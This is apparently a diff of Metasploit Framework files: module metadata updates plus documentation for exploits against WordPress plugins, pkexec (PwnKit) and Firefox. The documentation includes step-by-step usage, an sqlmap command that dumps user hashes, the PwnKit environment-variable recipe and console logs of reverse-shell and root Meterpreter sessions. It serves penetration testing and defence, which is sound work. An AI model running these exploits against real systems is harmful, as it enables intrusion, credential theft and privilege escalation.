|
||||
@@ -96554,6 +96881,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -99755,6 +100091,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/http/pfsense_diag_routes_webshell": {
|
||||
"name": "pfSense Diag Routes Web Shell Upload",
|
||||
"fullname": "exploit/unix/http/pfsense_diag_routes_webshell",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-02-23",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Abdel Adim \"smaury\" Oisfi of Shielder",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module exploits an arbitrary file creation vulnerability in the pfSense\n HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2\n and can be exploited by an authenticated user if they have the\n \"WebCfg - Diagnostics: Routing tables\" privilege.\n\n This module uses the vulnerability to create a web shell and execute payloads\n with root privileges.",
|
||||
"references": [
|
||||
"CVE-2021-41282",
|
||||
"URL-https://www.shielder.it/advisories/pfsense-remote-command-execution/"
|
||||
],
|
||||
"platform": "BSD,Unix",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"BSD Dropper"
|
||||
],
|
||||
"mod_time": "2022-02-27 18:12:54 +0000",
|
||||
"path": "/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/http/pfsense_diag_routes_webshell",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_unix/http/pfsense_graph_injection_exec": {
|
||||
"name": "pfSense authenticated graph status RCE",
|
||||
"fullname": "exploit/unix/http/pfsense_graph_injection_exec",
|
||||
@@ -101127,7 +101525,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-14 09:01:05 +0000",
|
||||
"path": "/modules/exploits/unix/smtp/exim4_string_format.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/smtp/exim4_string_format",
|
||||
@@ -146967,7 +147365,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-03-03 13:02:55 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_comhijack.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_comhijack",
|
||||
@@ -146975,6 +147373,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -175262,7 +175670,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-12-08 13:08:01 +0000",
|
||||
"mod_time": "2022-03-01 09:50:49 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_bind_tcp",
|
||||
@@ -175296,7 +175704,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-12-08 13:08:01 +0000",
|
||||
"mod_time": "2022-03-01 09:50:49 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_http",
|
||||
@@ -175330,7 +175738,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-12-08 13:08:01 +0000",
|
||||
"mod_time": "2022-03-01 09:50:49 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_https",
|
||||
@@ -175364,7 +175772,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-12-08 13:08:01 +0000",
|
||||
"mod_time": "2022-03-01 09:50:49 +0000",
|
||||
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "python/meterpreter_reverse_tcp",
|
||||
@@ -199416,7 +199824,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-03-05 13:24:55 +0000",
|
||||
"path": "/modules/post/windows/manage/persistence_exe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/persistence_exe",
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
## Vulnerable Application
|
||||
|
||||
MasterStudy LMS, a WordPress plugin,
|
||||
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated
|
||||
user is able to create an administrator account for wordpress itself.
|
||||
|
||||
[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.2.7.5.zip).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `msfconsole`
|
||||
2. `use auxiliary/admin/http/wp_masterstudy_privesc`
|
||||
3. `set RHOSTS <rhost>`
|
||||
4. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Set a `USERNAME` if desirable. Defaults to empty, and random generation.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Set a `PASSWORD` if desirable. Defaults to empty, and random generation.
|
||||
|
||||
### EMAIL
|
||||
|
||||
Set a `EMAIL` if desirable. Defaults to empty, and random generation.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MasterStudy 2.7.5 on WordPress 5.7.5
|
||||
|
||||
```
|
||||
[*] Processing masterstudy.rb for ERB directives.
|
||||
resource (masterstudy.rb)> use auxiliary/admin/http/wp_masterstudy_privesc
|
||||
resource (masterstudy.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (masterstudy.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (masterstudy.rb)> run
|
||||
[*] Running module against 1.1.1.1
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking /wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt
|
||||
[*] Found version 2.7.5 in the plugin
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting with username: ujukzntw7 password: TbxjFm0znF email: ashley.thompson@gcvz2cibu.org
|
||||
[+] Account Created Successfully
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,62 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in
|
||||
versions before 6.1.5. The `time` parameter is vulnerable to injection.
|
||||
|
||||
The plugin can be downloaded [here](https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip)
|
||||
|
||||
This module slightly replicates sqlmap running as:
|
||||
|
||||
```
|
||||
sqlmap -u 'http://<IP>/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2' -p "time" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the plugin, use defaults
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/wp_modern_events_calendar_sqli`
|
||||
4. Do: `set rhosts [ip]`
|
||||
5. Do: `run`
|
||||
6. You should get the users and hashes returned.
|
||||
|
||||
## Options
|
||||
|
||||
### ACTION: List Users
|
||||
|
||||
This action lists `COUNT` users and password hashes.
|
||||
|
||||
## COUNT
|
||||
|
||||
If action `List Users` is selected (default), this is the number of users to enumerate.
|
||||
The larger this list, the more time it will take. Defaults to `1`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Modern Events Calendar 6.1.0 on Wordpress 5.7.5 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (calendar.rb)> use auxiliary/scanner/http/wp_modern_events_calendar_sqli
|
||||
resource (calendar.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (calendar.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (calendar.rb)> run
|
||||
[*] Checking /wp-content/plugins/modern-events-calendar-lite/readme.txt
|
||||
[*] Found version 6.1.0 in the plugin
|
||||
[+] Vulnerable version of Modern Events Calendar detected
|
||||
[*] {SQLi} Executing (select group_concat(FMuxps) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) FMuxps from wp_users limit 1) tXKksULcj)
|
||||
[*] {SQLi} Encoded to (select group_concat(FMuxps) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xde,0)),ifnull(user_pass,repeat(0x79,0))) as binary) FMuxps from wp_users limit 1) tXKksULcj)
|
||||
[*] {SQLi} Time-based injection: expecting output of length 40
|
||||
admin
|
||||
$P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
|
||||
[+] wp_users
|
||||
========
|
||||
|
||||
user_login user_pass
|
||||
---------- ---------
|
||||
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,323 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The `check` method uses the exploit without a payload. Vulnerable versions of pkexec
|
||||
give the error that the shell was not in the shells folder if you pass in the exploit
|
||||
without a payload to execute. Patched versions exit and give the `help` output if executed
|
||||
with no arguments.
|
||||
|
||||
First Patched Ubuntu packages:
|
||||
|
||||
- 20.04: 0.105-26ubuntu1.2
|
||||
- 21.10: 0.105-31ubuntu0.1
|
||||
- 18.04: 0.105-20ubuntu0.18.04.6
|
||||
|
||||
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
|
||||
|
||||
First Patched Debian Packages:
|
||||
|
||||
- stretch: 0.105-18+deb9u2
|
||||
- buster: 0.105-25+deb10u1
|
||||
- bullseye: 0.105-31+deb11u1
|
||||
|
||||
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
|
||||
|
||||
Vulnerable CentOS Packages:
|
||||
|
||||
- polkit-0.112-5.ael7b
|
||||
- polkit-0.112-13.p1.el7a
|
||||
- polkit-0.96-2.el6
|
||||
- polkit-0.96-2.el6_0.1
|
||||
- polkit-0.96-5.el6_4
|
||||
- polkit-0.96-7.el6
|
||||
- polkit-0.96-7.el6_6.1
|
||||
- polkit-0.96-11.el6
|
||||
- polkit-0.96-11.el6_10.1
|
||||
- polkit-0.112-1.el7
|
||||
- polkit-0.112-5.el7
|
||||
- polkit-0.112-6.el7_2
|
||||
- polkit-0.112-7.el7_2.2
|
||||
- polkit-0.112-7.el7_2.3
|
||||
- polkit-0.112-7.el7_2
|
||||
- polkit-0.112-9.el7
|
||||
- polkit-0.112-11.el7_3
|
||||
- polkit-0.112-12.el7_3
|
||||
- polkit-0.112-12.el7_4.1
|
||||
- polkit-0.112-14.el7
|
||||
- polkit-0.112-14.el7_5.1
|
||||
- polkit-0.112-17.el7
|
||||
- polkit-0.112-18.el7
|
||||
- polkit-0.112-18.el7_6.1
|
||||
- polkit-0.112-18.el7_6.2
|
||||
- polkit-0.112-22.el7
|
||||
- polkit-0.112-22.el7_7.1
|
||||
- polkit-0.112-26.el7
|
||||
- polkit-0.115-6.el8
|
||||
- polkit-0.115-9.el8
|
||||
- polkit-0.115-9.el8_1.1
|
||||
- polkit-0.115-11.el8
|
||||
- polkit-0.115-11.el8_2.1
|
||||
- polkit-0.115-11.el8_3.2
|
||||
- polkit-0.115-11.el8_4.1
|
||||
- polkit-0.115-12.el8
|
||||
|
||||
Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/
|
||||
|
||||
### Fedora:
|
||||
|
||||
Fedora should be vulnerable, and the pkexec binary will respond like it is vulnerable, but
|
||||
the exploit will fail. I don't know why, but it still fails with SELinux disabled or using the
|
||||
original PoCs that compiled a binary on target. The check method just bails if it sees Fedora.
|
||||
|
||||
```
|
||||
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localdomain
|
||||
OS : Fedora 33 (Linux 5.8.15-301.fc33.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: msfuser
|
||||
meterpreter > shell
|
||||
Process 2396 created.
|
||||
Channel 5 created.
|
||||
sestatus
|
||||
SELinux status: disabled
|
||||
exit
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto
|
||||
set autocheck set autorunscript set autounhookprocess
|
||||
set autoloadstdapi set autosysteminfo set autoverifysessiontimeout
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false
|
||||
autoCheck => false
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_railgun_api
|
||||
[*] Checking for pkexec
|
||||
[*] Checking for /usr/bin/pkexec
|
||||
[*] Found pkexec here: /usr/bin/pkexec
|
||||
[*] Found pkexec version 0.117
|
||||
[*] The target is not exploitable. Fedora is not supported
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_railgun_api
|
||||
[*] Started reverse TCP handler on 10.5.135.101:4444
|
||||
[!] AutoCheck is disabled, proceeding with exploitation
|
||||
[*] Checking for pkexec
|
||||
[*] Checking for /usr/bin/pkexec
|
||||
[*] Found pkexec here: /usr/bin/pkexec
|
||||
[*] Creating directory /tmp/.wqogdpzub
|
||||
[*] /tmp/.wqogdpzub created
|
||||
[*] Writing '/tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so' (548 bytes) ...
|
||||
[!] Verify cleanup of /tmp/.wqogdpzub
|
||||
[*] Running python /tmp/.wqogdpzub/.skihoukdb /usr/bin/pkexec /tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so kfmlrhrqi jdtnqzvqn
|
||||
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “jdtnqzvqn”
|
||||
The value for the SHELL variable was not found the /etc/shells file
|
||||
|
||||
This incident has been reported.
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### RedHat:
|
||||
Untested on Redhat, but I assume similar to Fedora.
|
||||
|
||||
## Summary
|
||||
|
||||
Polkit's pkexec binary is a bit like sudo in that it allows users to run an application as another user.
|
||||
For instance, when you run something like `pkexec ls` you'll be prompted for the root user's password.
|
||||
Because it allows elevated launching of programs, pkexec runs as root.
|
||||
|
||||
Processes that run like this are considered special and are run in a Secure-execution mode, which causes
|
||||
the dynamic linker (ld.so) to strip out problematic environment variables that could introduce security
|
||||
concerns. One of these "untrusted" environment variables stripped out by the linker is `GCONV_PATH`, which
|
||||
sets the location for text conversion libraries. If a binary needs to convert a text string to a different
|
||||
encoding, it will load/execute the library specified by `GCONV_PATH`.
|
||||
|
||||
For example, if we could get pkexec to run with the environment string `GCONV_PATH=./exploit`, pkexec would
|
||||
load and execute the exploit as root if we were able to coerce the binary to use an unknown charset. This
|
||||
is why the dynamic linker prevents such an environment variable from being passed into secure-execution mode
|
||||
binaries.
|
||||
|
||||
The check to prevent `GCONV_PATH` environment variables is done when a program loads, so if we can modify
|
||||
the environment variables after the program loads, we could add it, but as the process runs as root, we
|
||||
could not change those values ourselves.
|
||||
|
||||
This is where the logic flaw in pkexec can be abused. pkexec runs through each argument it is passed and
|
||||
calls `g_find_program_in_path` which takes a filename and replaces the filename with the full path to the
|
||||
file, according to its `PATH` environment. Since there can be multiple binaries, this is done within a
|
||||
loop. The specific bug in pkexec is that the loop will always run at least once, even if the number of
|
||||
arguments is 0.
|
||||
|
||||
If the number of arguments is 0, then it will still attempt to resolve the element it pulls from memory
|
||||
at the location the first argument would have been located. Because of how the stack is structured,
|
||||
environment variables are located right after argument values in memory, so if there are no argument values,
|
||||
then the environment values are there. The exploit works by coercing `g_find_program_in_path` into
|
||||
writing `GCONV_PATH=./exploit` into the first slot in the environment list.
|
||||
|
||||
We can do this by creating a folder in the `PATH` called `GCONV_PATH=.` and within that folder, place a
|
||||
file named `abc`. We also add the directory `GCONV_PATH` to the `PATH` environment variable. Now, when
|
||||
we launch pkexec without any arguments, but with `abc` as the first environment variable and `PATH=GCONV_PATH=`
|
||||
as the second, `g_find_program_in_path` will look for `abc` in the folder `GCONV_PATH=.` and find it.
|
||||
It will then overwrite the first environment variable withe the full path to the file as it exists in
|
||||
our PATH: `GCONV_PATH=./abc` or exactly what we'd like to have as our environment variable.
|
||||
Now, if we can coerce pkexec to use an unknown charset, it will load the library `./abc.so` which we'll make
|
||||
the name of our payload.
|
||||
|
||||
We can coerce the loading of the .so by adding another environment variable declaring some unknown
|
||||
charset: `CHARSET=garbage` would work fine if we could get pkexec to need to write a log. We can
|
||||
get it to write a log by giving a bad value for something it depends on. In our case, we're using
|
||||
the `SHELL` environment variable.
|
||||
|
||||
So, to sum up, if we give pkexec a bad value for the `SHELL` environment variable and an unknown charset
|
||||
to encode, it will load the .so file specified by `GCONV_PATH` and run it as root in an attempt to
|
||||
encode to the unknown charset.
|
||||
|
||||
To break it down, we need to place a .so payload binary in our current working directory called
|
||||
`abc.so` and call pkexec with no arguments and the environment values:
|
||||
|
||||
`abc`
|
||||
|
||||
`PATH=GCONV_PATH=.`
|
||||
|
||||
`SHELL=/garbage`
|
||||
|
||||
`CHARSET=garbage`
|
||||
|
||||
Once `g_find_program_in_path` runs, the environment variables will be changed to:
|
||||
|
||||
`GCONV_PATH=./abc.so`
|
||||
|
||||
`PATH=GCONV_PATH=.`
|
||||
|
||||
`SHELL=/garbage`
|
||||
|
||||
`CHARSET=garbage`
|
||||
|
||||
The result will be that pkexec errors while trying to encode test to the non-existant charset, causing it to
|
||||
load the provided abc.so file in the root context.
|
||||
|
||||
## Verification
|
||||
|
||||
* Start `msfconsole`
|
||||
* Get a non-root shell/meterpreter
|
||||
* use `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`
|
||||
* set SESSION `<session-id>`
|
||||
* set LHOST `<lhost-IP>`
|
||||
* `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
### WRITEABLE_DIR
|
||||
This indicates the location where you would like the payload and exploit stored, as well
|
||||
as serving as a location to store the various files and directories created by the exploit itself.
|
||||
The default value is `/tmp`
|
||||
|
||||
### PKEXEC_PATH
|
||||
This indicates the location of the `pkexec` binary. Normally, the module can find the it without help.
|
||||
It defaults to nil.
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### FinalDir
|
||||
This indicates the starting directory for the new root-enabled session. The module deletes the working directory
|
||||
out from under the running payload, so the current working directory for the new session will not exist, and that
|
||||
can result in odd errors, so we just change to a directory that does exist before user interaction.
|
||||
It defaults to `/`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
|
||||
|
||||
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PKEXEC_PATH no The path to pkexec binary
|
||||
SESSION 1 yes The session to run this module on
|
||||
WRITABLE_DIR /tmp yes A directory where we can write files
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 x86_64
|
||||
|
||||
|
||||
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_railgun_api
|
||||
[*] Started reverse TCP handler on 10.5.135.101:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking for pkexec
|
||||
[*] Checking for /usr/bin/pkexec
|
||||
[*] Found pkexec here: /usr/bin/pkexec
|
||||
[*] Found pkexec version 0.105
|
||||
[*] Determined host os is Ubuntu
|
||||
[*] Polkit package version = 0.105-26ubuntu1
|
||||
[*] Checking for pkexec
|
||||
[*] Checking for /usr/bin/pkexec
|
||||
[*] Found pkexec here: /usr/bin/pkexec
|
||||
[*] Creating directory /tmp/.pacfbr
|
||||
[*] /tmp/.pacfbr created
|
||||
[!] Verify cleanup of /tmp/.pacfbr
|
||||
[*] Running python3 /tmp/.pacfbr/.jxkiwyj /usr/bin/pkexec /tmp/.pacfbr/khmtpqj/khmtpqj.so khmtpqj mbbidsfl
|
||||
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “mbbidsfl”
|
||||
The value for the SHELL variable was not found the /etc/shells file
|
||||
|
||||
This incident has been reported.
|
||||
[+] The target is vulnerable.
|
||||
[*] Checking for pkexec
|
||||
[*] Checking for /usr/bin/pkexec
|
||||
[*] Found pkexec here: /usr/bin/pkexec
|
||||
[*] Creating directory /tmp/.lukbdme
|
||||
[*] /tmp/.lukbdme created
|
||||
[*] Writing '/tmp/.lukbdme/rnaxcz/rnaxcz.so' (548 bytes) ...
|
||||
[!] Verify cleanup of /tmp/.lukbdme
|
||||
[*] Running python3 /tmp/.lukbdme/.iwksanwva /usr/bin/pkexec /tmp/.lukbdme/rnaxcz/rnaxcz.so rnaxcz jnagcbkqds
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3012548 bytes) to 10.5.132.107
|
||||
[+] Deleted /tmp/.lukbdme/rnaxcz/rnaxcz.so
|
||||
[+] Deleted /tmp/.lukbdme/.iwksanwva
|
||||
[!] Attempting to delete working directory /tmp/.lukbdme
|
||||
[!] Attempting to delete working directory /tmp/.lukbdme
|
||||
[*] Meterpreter session 3 opened (10.5.135.101:4444 -> 10.5.132.107:54758 ) at 2022-03-01 14:40:18 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.132.107
|
||||
OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > pwd
|
||||
/
|
||||
meterpreter >
|
||||
|
||||
|
||||
```
|
||||
|
||||
**Reference:** https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
|
||||
@@ -0,0 +1,117 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
|
||||
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
|
||||
in an exploitable use-after-free condition.
|
||||
|
||||
This exploit uses a somewhat novel technique of spraying ArgumentsData
|
||||
structures in order to construct primitives. The shellcode is forced into
|
||||
executable memory via the JIT compiler, and executed by writing to the JIT
|
||||
region pointer.
|
||||
|
||||
This exploit does not contain a sandbox escape, so firefox must be run
|
||||
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
|
||||
for the shellcode to run successfully.
|
||||
|
||||
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
|
||||
Thunderbird < 78.4.2, however only Firefox < 82 is supported as a target.
|
||||
Additional work may be needed to support other versions such as Firefox 82.0.1.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download and run a vulnerable firefox version on Linux with the following commands:
|
||||
```
|
||||
wget https://ftp.mozilla.org/pub/firefox/releases/79.0/linux-x86_64/en-US/firefox-79.0.tar.bz2
|
||||
tar xvf firefox-79.0.tar.bz2
|
||||
cd firefox
|
||||
MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox
|
||||
```
|
||||
|
||||
You can also download a vulnerable firefox version for Windows from the following location:
|
||||
[https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/](https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use exploit/multi/browser/firefox_jit_use_after_free`
|
||||
1. Do: `set payload [PAYLOAD]`
|
||||
1. Do: `set URIPATH /`
|
||||
1. Do: `set LHOST [IP]`
|
||||
1. Do: `set SRVHOST [IP]`
|
||||
1. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### DEBUG_EXPLOIT
|
||||
|
||||
Show debug information during exploitation. This will display details of the exploit during exploitation, which is useful for debugging.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
### Windows 10 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1
|
||||
|
||||
Start firefox without a sandbox with the following .bat file:
|
||||
```
|
||||
@echo off
|
||||
set MOZ_DISABLE_CONTENT_SANDBOX=1
|
||||
"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/browser/firefox_jit_use_after_free
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.3 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
|
||||
[*] Sending stage (200262 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49737 ) at 2022-02-16 08:23:53 +0000
|
||||
|
||||
```
|
||||
|
||||
### Ubuntu 18 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1 and DEBUG_EXPLOIT enabled
|
||||
|
||||
Start Firefox without a sandbox, e.g:
|
||||
`MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox`
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/browser/firefox_jit_use_after_free
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set DEBUG_EXPLOIT true
|
||||
DEBUG_EXPLOIT => true
|
||||
msf6 exploit(multi/browser/firefox_jit_use_after_free) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
